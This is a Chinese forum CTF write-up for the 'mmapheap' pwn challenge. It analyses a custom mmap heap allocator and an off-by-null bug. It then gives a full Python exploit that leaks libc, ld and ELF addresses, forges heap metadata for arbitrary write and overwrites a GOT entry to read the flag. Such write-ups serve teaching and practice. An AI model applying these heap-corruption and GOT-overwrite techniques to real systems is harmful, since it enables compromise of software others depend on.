吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1331|回复: 8
上一主题 下一主题
收起左侧

[CTF] mini-L2025 mmapheap 非预期解

[复制链接]
跳转到指定楼层
楼主
ajguthahbzzb 发表于 2025-5-13 10:13 回帖奖励
0x0 前言

现在的新生赛可以说是越来越卷了,难的题已经能和国际比赛的低档题相当了。西电的新生赛虽然简单题不少,但是也有很多有价值的题。mmapheap这道题的预期解我也没看懂,出题思路是某个比赛的一道难题,旨在用ld作为攻击手段。但ld利用算是比较冷门的攻击方式,大多数题目不给ld,ld也不是唯一的解法(除非出题人精心设计),只有在各种house中有实际运用。本文用的解法不需要任何关于ld的利用(需要通过ld泄漏elf地址,不然没法做,但跟ld也没什么关系),后面等我能熟练利用ld的时候再补上ld的做法。

0x1 逆向分析


出题人自己编写了一个libc,用于实现内存分配和释放。
二进制文件保留了符号表,基本不用逆向也能看懂逻辑,只有结构体需要逆向。
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// vuln
struct Paper // sizeof=0x10
{
    _BYTE *buf;
    __int64 size;
};
 
// libmylib
struct Chunk // sizeof=0x10
{
    __int64 size;
    Chunk *next;
    _BYTE content[];
};
 
struct Node // sizeof=0x30
{
    Chunk *chead;
    __int64 cnt;
    void *start;
    void *end;
    Node *next;
    Node *pre;
};


libmylib的实现没啥漏洞(只不过没像glibc检查这么严格),先分析vuln的逻辑
add、edit、delete、show分别实现了增删改查,但是增和改的时候以下代码存在漏洞:
[C] 纯文本查看 复制代码
1
buf[(int)read(0, buf, size)] = 0;

如果读入的大小和buf的大小一致,会导致1byte的溢出,也就是off by null。
load函数的逻辑是如果要读取的文件名包含flag就把fake_flag读入。这里我试过不能通过反斜杠绕过,毕竟这是道pwn题。

然后分析libmylib的逻辑。大多数函数只是和glibc功能一样的简易实现。这里主要分析堆的分配和释放。
堆分配:用mmap来向系统申请空间,每次申请0x10000,所有申请的空间通过双链表链接,新申请的空间插入到双链表的尾部。申请的空间会分割成一个一个chunk,在每次申请小的空间的时候才分割,每个chunk有一个0x10大小的头(见struct Chunk),size域最低位用于记录Chunk是否使用中,next指向下一个空闲的Chunk。


0x2 思路


菜单交互代码如下:
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwncli import *
 
elf = ELF("./vuln")
# io = gift.io = elf.process()
io = gift.io = remote('127.0.0.1', 34671)
 
libc = ELF("./libmylib.so")
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# ----
 
def add(idx, size, data=b"a"):
    sa(b"option:", b"1")
    sa(b"idx:", str(idx).encode())
    sa(b"size:", str(size).encode())
    sa(b"data:", data)
 
 
def edit(idx, data):
    sa(b"option:", b"2")
    sa(b"idx", str(idx).encode())
    sa(b"data:", data)
 
 
def free(idx):
    sa(b"option:", b"3")
    sa(b"idx:", str(idx).encode())
 
 
def show(idx):
    sa(b"option:", b"4")
    sa(b"idx: ", str(idx).encode())
 
 
def load(idx, filename):
    sa(b"option:", b"5")
    sa(b"idx: ", str(idx).encode())
    sa(b"filename:", filename)

off by null只能溢出一字节的0,要么溢出到Chunk要么溢出到Node。但是和glibc不一样,这里溢出到Chunk的size域作用不大,很难造成堆重叠。但是溢出到Node的话可以让Node的chead指向chead,那么其size大小跟chead地址就一致了,由于size很大,基本可以造成任意地址写。泄漏地址有点麻烦,需要将地址作为size写入一个可以访问到的Chunk里。但如果能控制Node的话就不难,因为可以通过改变chead指针所指向的地址将任意地址写入任意位置。
注意,远程有输入缓冲区大小限制,如果输入过大服务器连接会断开。所以不能写出类似add(1,0xffc0,b'0'*0xffc0)这样的代码,需要布局堆结构来造成堆溢出。以下是能溢出到下一个node的示例代码:
[Python] 纯文本查看 复制代码
1
2
3
4
5
add(0, 0x40)
add(1, 0xff80)
free(0)
add(0, 0x40) # 插入到链表尾
add(2, 0x30, b"a" * 0x30) # 溢出

elf地址可通过vmmap中查看,然后通过search -p <elf_base>来查找该地址在ld中的位置。
下面提供的exp非唯一解法,偏移通过调试来计算,期间我调试了很多遍,很多地方由于各种原因(如泄漏elf地址的时候破坏了ld、got表破坏了要修复等)需要通过调试来解决,请读者自行对每一步操作做调试。

0x3 exp


[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwncli import *
 
elf = ELF("./vuln")
io = gift.io = elf.process()
# io = gift.io = remote('127.0.0.1', 34671)
 
libc = ELF("./libmylib.so")
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# ----
 
def add(idx, size, data=b"a"):
    sa(b"option:", b"1")
    sa(b"idx:", str(idx).encode())
    sa(b"size:", str(size).encode())
    sa(b"data:", data)
 
 
def edit(idx, data):
    sa(b"option:", b"2")
    sa(b"idx", str(idx).encode())
    sa(b"data:", data)
 
 
def free(idx):
    sa(b"option:", b"3")
    sa(b"idx:", str(idx).encode())
 
 
def show(idx):
    sa(b"option:", b"4")
    sa(b"idx: ", str(idx).encode())
 
 
def load(idx, filename):
    sa(b"option:", b"5")
    sa(b"idx: ", str(idx).encode())
    sa(b"filename:", filename)
 
 
add(5, 0xffc0) # node被控制
add(0, 0x40)
add(1, 0xff80)
 
load(0, b"./flag\n") # 后面会破坏ld,先让一些必要的函数的地址解析出来
 
free(0)
 
add(0, 0x40) # 插入到链表尾
 
add(2, 0x30, b"a" * 0x30) # 溢出
 
add(3, 0x30) # 将chunk地址写入0的content
 
show(0)
 
libc.address = u64_ex(r(6)) + 0x20040
ld_base = libc.address + 0x7000
 
success(f"{libc.address = :x}")
success(f"{ld_base = :x}")
 
elf_ptr = ld_base + 0x392e0
 
print(f"{elf_ptr = :x}")
 
add(9, 0xffa0)
 
add(10, 0x50380, p64(ld_base + 0x39380)) # 5的node被控制
add(11, 0x10)
 
edit(10, p64(elf_ptr))
 
add(12, 0xa0) # 将elf地址写入11的content
 
show(11)
 
elf.address = u64_ex(r(6)) + 0xb0
 
success(f"{elf.address = :x}")
 
edit(10, p64(elf.got.init_libmylib)) # 指向elf.got.init_libmylib
 
payload = fit(libc.sym.read, libc.sym.memset, libc.sym.r_open, libc.sym.r_open)
add(13, 0x30, payload)
 
edit(10, p64(libc.address - 0x1ff80)) # 将chead指回一个合法的Chunk
 
add(14, 0x30)
 
load(14, b"./flag\n")
 
show(14)
 
# --------
ia()




mmapheap.tar.gz.zip

119.37 KB, 下载次数: 2, 下载积分: 吾爱币 -1 CB

题目附件

免费评分

参与人数 1吾爱币 +7 热心值 +1 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
as110265 发表于 2025-5-13 11:59
感谢分享
3#
yy964140711 发表于 2025-5-13 13:36
4#
jfy168 发表于 2025-5-13 15:10
5#
yswb168 发表于 2025-5-13 15:44
感谢分享
6#
tb612443 发表于 2025-5-13 16:09
感谢分享
7#
shengchang2009 发表于 2025-5-14 13:32
感谢分享
8#
yilong88888 发表于 2025-5-14 18:08
这是哪个专业     
9#
onetwo888 发表于 2025-5-15 08:57
感谢分享!!!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-5-28 08:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表